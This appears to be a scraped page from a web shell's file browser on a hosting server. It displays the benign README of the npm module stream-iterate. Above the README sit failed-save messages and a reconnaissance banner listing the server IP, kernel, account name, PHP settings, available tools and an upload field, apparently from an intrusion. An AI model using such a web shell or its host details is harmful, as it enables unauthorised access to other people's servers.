Failed to save the file to the "xx" directory.
Failed to save the file to the "ll" directory.
Failed to save the file to the "mm" directory.
Failed to save the file to the "wp" directory.
Server IP : 66.29.132.124 / Your IP : 3.135.246.102 Web Server : LiteSpeed System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64 User : wavevlvu ( 1524) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /lib/node_modules/npm/node_modules/stream-iterate/ |
Upload File : |
# stream-iterate Iterate through the values in a stream. ``` npm install stream-iterate ``` [![build status](http://img.shields.io/travis/mafintosh/stream-iterate.svg?style=flat)](http://travis-ci.org/mafintosh/stream-iterate) ## Usage ``` js var iterate = require('stream-iterate') var from = require('from2') var stream = from.obj(['a', 'b', 'c']) var read = iterate(stream) loop() // recursively iterates through each item in the stream function loop () { read(function (err, data, next) { console.log(err, data) next() loop() }) } ``` If you don't call `next` and call `read` again the same `(err, value)` pair will be returned. You can use this module to implement stuff like [a streaming merge sort](https://github.com/mafintosh/stream-iterate/blob/master/test.js#L5-L47). ## License [MIT](LICENSE)